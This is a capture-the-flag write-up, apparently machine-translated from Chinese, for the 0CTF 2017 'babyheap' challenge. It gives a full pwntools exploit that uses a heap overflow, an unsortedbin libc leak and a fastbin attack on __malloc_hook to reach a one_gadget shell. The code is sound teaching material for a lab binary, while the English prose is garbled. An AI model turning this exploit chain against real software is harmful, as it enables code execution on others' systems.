Based on the use fastbin attack + unsortedbin attack + __malloc_hook of
Download title: https://uaf.io/assets/0ctfbabyheap
2017 0ctf this question is very simple a question
First look at the title of the basic information
$ checksec babyheap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
Full protection, is a typical menu title, combined with ida, write down these functions
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
And then found in the ida
__int64 __fastcall fill(__int64 a1)
{
...
printf("Index: ");
result = num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = num();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
====> result = read____(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
...
He did not make a judgment on the length of the input, we can overflow from one block to another stack stacks
We can do to control the size of the heap block
- By unsortedbin attack to leak out the address of the heap
- Apply in advance a few small stacks
- Using the first chunk of the overflow, the second chunk of size modification (can include a large chunk of each three fd)
- The second free chunk, then apply back
- With this third chunk chunk major changes (Free energy backward unsortedbin)
- The third chunk is read by the second chunk fd (main_arena + 88 address)
- Fastbin attack by control __malloc_hook
- free fall application in advance of the size of the chunk 0x60
- The first step by the idea of change is free of fd is __malloc_hook
- The __malloc_hook changed
- Calloc call to perform one_gadget
1. The address of the heap to leak out through unsortedbin attack
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
free (2) when I did not go to control unsortedbin checks to the next chunk I idx2-> size changed after 0x91, the next chunk is just idx4, the application of the above five memory size is my carefully constructed
Complete exp as follows:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
#-------leak main_arena - unsorted bin attack ------
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------
libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))
payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode)
alloc(1)
p.sendline('bash')
p.interactive()
We need to write a function address in __malloc_hook, for getshell
0x4526a This offset is to write this stuff:
<do_system+1098>: mov rax,QWORD PTR [rip+0x37ec47]
<do_system+1105>: lea rdi,[rip+0x147adf]
<do_system+1112>: lea rsi,[rsp+0x30]
<do_system+1117>: mov DWORD PTR [rip+0x381219],0x0
<do_system+1127>: mov DWORD PTR [rip+0x381213],0x0
<do_system+1137>: mov rdx,QWORD PTR [rax]
<do_system+1140>: call 0x7f7f36b27770 <execve>
This location is how to find share a gadget:? Https://github.com/david942j/one_gadget.git
$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
$
This is a four addresses a trial go! Sao years!